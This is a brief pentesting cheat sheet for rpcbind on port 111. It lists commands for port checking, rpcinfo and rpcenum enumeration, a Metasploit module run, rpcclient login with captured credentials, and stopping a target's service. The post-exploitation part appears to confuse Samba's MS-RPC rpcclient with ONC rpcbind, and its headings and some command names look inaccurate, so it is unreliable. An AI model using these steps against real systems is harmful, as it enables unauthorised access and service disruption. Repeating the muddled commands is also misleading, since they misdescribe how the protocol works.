Rpcbind

Default Port: 111

rpcbind is used by RPC (Remote Procedure Call) services. An RPC service is a server-based service that fulfills remote procedure calls. rpcbind is used to determine which services can respond to incoming requests to perform the specified service.

Connect

Confirming that the rpcbind service runs on a target machine is usually the first step.

nc -z -v -u <target-ip> 111

Recon

When connected to a machine rpcbind, you can use the rpcinfo tool to learn the details of rpcbind service.

rpcinfo -p <target-ip>

Enumeration

You can run the rpcenum script to determine the rpc service on the target and collect information. You can use the -v flag for more details.

rpcenum -v <target-ip>

Attack Vectors

There are various rpcbind modules in Metasploit. For example, you can use the following Metasploit commands for the rpcbind_cgi_mainenv vulnerability

msfconsole
use auxiliary/gather/rpcbind_cgi_mainenv
set RHOST <target-ip>
run

Post-Exploitation

RPC Dictionary Attack

If you successfully exploited vulnerabilities and obtained a username and password, you can create an RPC bridge as follows using rpcclient

rpcclient -U "username%password" <target-ip>

Service Abuse

If a certain RPC service created a vulnerability on the target machine, you can abuse this service to influence behaviors on the target system or hinder its proper operation. For example, you can stop the following RPC service:

rpcclient -U "username%password" <target-ip> -c 'stop service_name'